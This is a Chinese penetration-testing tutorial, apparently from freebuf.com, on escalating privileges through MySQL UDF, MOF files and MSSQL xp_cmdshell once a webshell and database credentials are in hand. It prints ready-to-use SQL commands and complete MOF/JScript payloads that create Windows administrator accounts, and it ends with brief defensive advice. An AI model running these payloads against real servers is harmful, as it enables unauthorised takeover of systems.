数据库—提权思路 – 作者:和风sukf

提权的概念

在入侵过程中,通过各种办法和漏洞,提高攻击者在服务器中的权限,从而以便控制全局的过程就叫做提权。例如:windows系统—>user(guest)—>system;Linux系统—>user—>root

在web渗透中,从最开始的webshell获取的权限可能仅仅是中间件的权限,可执行的操作控制有限,攻击者往往会通过提权的方式来提升已有的权限,从而执行更多的操作。

1621323858_60a37052df83844be8f93.png!small

提权的方法

一、系统漏洞提权

(1)获取操作系统类型以及版本号
(2)根据获取的系统版本号在互联网搜索exp

(3)尝试利用exp获取权限
(4)尝试反弹shell

二、数据库提权

(1)mysql数据库——udf提权

(2)数据库提权——mof提权

(3)数据库提权——反弹端口提权

(4)数据库提权——启动项提权

三、第三方软件/服务提权

(1)通过第三方软件漏洞进行提权

(2)通过服务端口、服务协议漏洞进行提权

数据库提权

数据库提权就是利用执行数据库语句、利用数据库函数等方式提升服务器用户的权限。例如在 mysql 数据操作中,如果需要执行cmd命令,就会调用UDF这个dll文件,我们就是利用这个漏洞,进行提权操作。

1621323863_60a370575af217da22c54.png!small

数据库提权思路

(1)如果已经上传webshell,可以从中寻找获取数据库的连接文件(目的获得数据库密码)

–通过读取一些数据库配置文件
数据库配置文件:命令规则(data、sql、inc、config、conn、database等)
–通过mysql数据库的user表
数据库安装文件:安装目录下data/mysql/user.myd
frm:描述表结构文件,字段长度,myi:索引信息,myd:数据库信息文件,存储数据信息

(2)获取当前mysql的一个数据库连接信息,通常包含地址、端口、账号、密码、库名等五个信息

(3)数据库具有create,insert,delete权限

(4)寻找存在可读写的文件目录一般是回收站(windows)或tmp(linux) ,用于上传提权工具或者写入脚本

MYSQL数据库—UDF提权

udf(user-defined-function)是mysql得一个拓展接口,也称为用户自定义函数,用户通过自定义函数来实现在mysql中无法方便实现得功能当攻击者已知root账号和密码,就可以利用root权限,创建带有调用cmd函数的“udf.dll”。当我们把udf.dll导出指定文件夹引入mysql时候,其中的调用函数拿出来当作mysql函数来使用。

提权思路:

  • mysql版本小于1版本,udf.dll文件在windows2003下放在:c:\windows\system32。在windows2000放在:c:\winnt\system32
    (2)mysql版本大于5.1版本,udf.dll文件必须放置在mysql安装目录下的lib\plugin。但是大于5.1版本的时候没有plugin这个文件夹,需要自己创建。
    (3)利用udf文件加载函数执行命令
    create function cmdshell returns string soname ‘udf.dll’;  //returns string soname ‘导出的DLL路径’;
    select cmdshell(‘net user ndsec ndsecpw /add’);
    select cmdshell(‘net localgroup administrators ndsec /add’);
    drop function cmdshell;

用蚁剑连接一句话木马,执行蚁剑的数据库功能模块(可以执行SQL语句),查看版本(5.5.53>5.1),udf.dll文件必须放置在mysql安装目录下的lib\plugin。但是大于5.1版本的时候没有plugin这个文件夹,需要自己创建。

1621323894_60a37076a8ba6f6d96d5f.png!small

在c:/phpStudy/MySQL/lib/目录下创建一个文件夹plugin,然后上传我们的udf.dll文件

1621323901_60a3707d67cfea80085a7.png!small

把udf.dll导出指定文件夹引入mysql,调用cmd函数的”udf.dll”

1621323904_60a3708037a766e3299c9.png!small

查看当前用户,当前并无ndsec用户

1621323907_60a370838e4d9561acfa0.png!small

调用cmd创建用户,用户名为ndsec,密码为ndsecpw

net user ndsec ndsecpw /add

1621323911_60a37087cd0b44be03b06.png!small

添加用户ndsec进系统用户组

net user localgroup administrators ndsec /add

1621323915_60a3708bf1285cef2d903.png!small

删除cmd函数

1621323919_60a3708fa583207988c60.png!small

查看当前系统用户,发现添加用户成功,提权成功

1621323924_60a370943eb61f49bd4a2.png!small

MYSQL数据库—MOF提权

mof文件是mysql数据库的扩展文件

存放路径(C:/windows/system32/wbem/mof/nullevt.mof),其作用是每隔5秒就会去监控进程创建和死亡。

提权条件
1、windows2003及以下
2、mysql启动身份具有权限去读写C:/windows/system32/wbem/mof/目录
3、secure-file-priv=不为null

提权思路:

mof文件每5秒就会执行,而且是系统权限,我们可以通过load_file将文件写入/wbme/mof,然后系统每5秒就会执行一次我们上传的mof,mof当中是一段vbs脚本,通过通过控制vbs脚本让系统执行命令,进行提权。

方法一:
Net user查看当前系统用户

1621323931_60a3709bcdb0be23dfc8f.png!small

上传一个mof文件,其中有我们生成用户的代码,系统每隔5秒执行一次

And TargetInstance.Second = 5″;控制,这里输入5就是每分钟的第五秒执行

#pragma namespace(“\\\\.\\root\\subscription”)

instance of __EventFilter as $EventFilter

{

EventNamespace = “Root\\Cimv2”;

Name  = “filtP2”;

Query = “Select * From __InstanceModificationEvent “

“Where TargetInstance Isa \”Win32_LocalTime\” “

“And TargetInstance.Second = 5”;

QueryLanguage = “WQL”;

};

instance of ActiveScriptEventConsumer as $Consumer

{

Name = “consPCSV2”;

ScriptingEngine = “JScript”;

ScriptText =

“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;

};

instance of __FilterToConsumerBinding

{

Consumer   = $Consumer;

Filter = $EventFilter;

};

1621323937_60a370a1d1b55c4180754.png!small

将其放入c:\windows\system32\wbem\mof目录下,mof文件每5秒就会执行,而且是系统权限

1621323942_60a370a6f19f16936af2c.png!small

执行完mof文件后,相当于执行里面的脚本,从而自动生成新用户su1

1621323946_60a370aa6bd65f7f61657.png!small

再次上传新的mof文件,将刚刚生成的用户su1加入系统组

#pragma namespace(“\\\\.\\root\\subscription”)

instance of __EventFilter as $EventFilter

{

EventNamespace = “Root\\Cimv2”;

Name  = “filtP2”;

Query = “Select * From __InstanceModificationEvent “

“Where TargetInstance Isa \”Win32_LocalTime\” “

“And TargetInstance.Second = 5”;

QueryLanguage = “WQL”;

};

instance of ActiveScriptEventConsumer as $Consumer

{

Name = “consPCSV2”;

ScriptingEngine = “JScript”;

ScriptText =

“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe localgroup administrators admin /add\”)”;

};

instance of __FilterToConsumerBinding

{

Consumer   = $Consumer;

Filter = $EventFilter;

};

1621323954_60a370b200de17b63ccbb.png!small

查看用户组,发现新用户su1添加到管理组添加成功

1621323955_60a370b3eb6bf3fb79962.png!small

方法二:有些权限的数据库账号

将生成普通用户admin的代码进行转码(字符转十进制/ascii)

1621323959_60a370b7ed4ab459b1829.png!small

将在线转码器的成果放到word里,将空格替换成逗号

1621323968_60a370c03c06c0ec2769e.png!small

1621323978_60a370ca3e006f66888be.png!small

同理将用户添加进系统组的代码转码

1621323982_60a370ce29854e5d39d2b.png!small

1621323987_60a370d31e97720446dd1.png!small

查看当前用户,生成admin

1621323990_60a370d69a007aaaf9543.png!small

MSSQL数据库提权

Mssql提权是利用扩展存储过程来执行系统命令,达到是自己权限提升的目的。

提权思路:

1、Mssql的服务没有降权,是以默认服务继承的权限来运行的

2、拥有该主机Mssql中的sa账号和密码

文件上传的大马webshell后可以连接mssql数据库

1621323995_60a370dbef74cd5be414b.png!small

Mysql账号的寻找方式,一般先寻找网站目录下的配置文件,如:conn.asp(x)/web.config,找到一个xml网页,存放着数据库账户和密码,账号密码为:sa/sa

1621324221_60a371bd504a71e0ca98d.png!small

sp_configure ‘show advanced options’,1;reconfigure开启xp_cmdshell服务

以文本行的形式输出

1621324302_60a3720eb69efac525235.png!small

1621324306_60a37212ec12dd9bbdf90.png!small

exec xp_cmdshell ‘net user su su123 /add’

添加用户su

1621324311_60a37217711dff5790866.png!small

exec xp_cmdshell ‘net localgroup administrators su /add’

将用户su加入系统组

1621324315_60a3721b07e00fd1a9ac5.png!small

查看是否添加成功

1621324318_60a3721e529fa00e4c82d.png!small

后记

1、限止数据库远程连接,给数据库帐户设置密码必须>8位以上并数字+字母+特殊符号等。
2、不要给网站配置root或SA这种可以扩展存取的权限。必须给每个网站独立分配数据库帐户并限格控制好权限。
3、及时扫描并升级数据库补丁。
4、安装Waf进行防御。
5、购买数据库审计设备

来源:freebuf.com 2021-07-27 17:50:09 by: 和风sukf

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论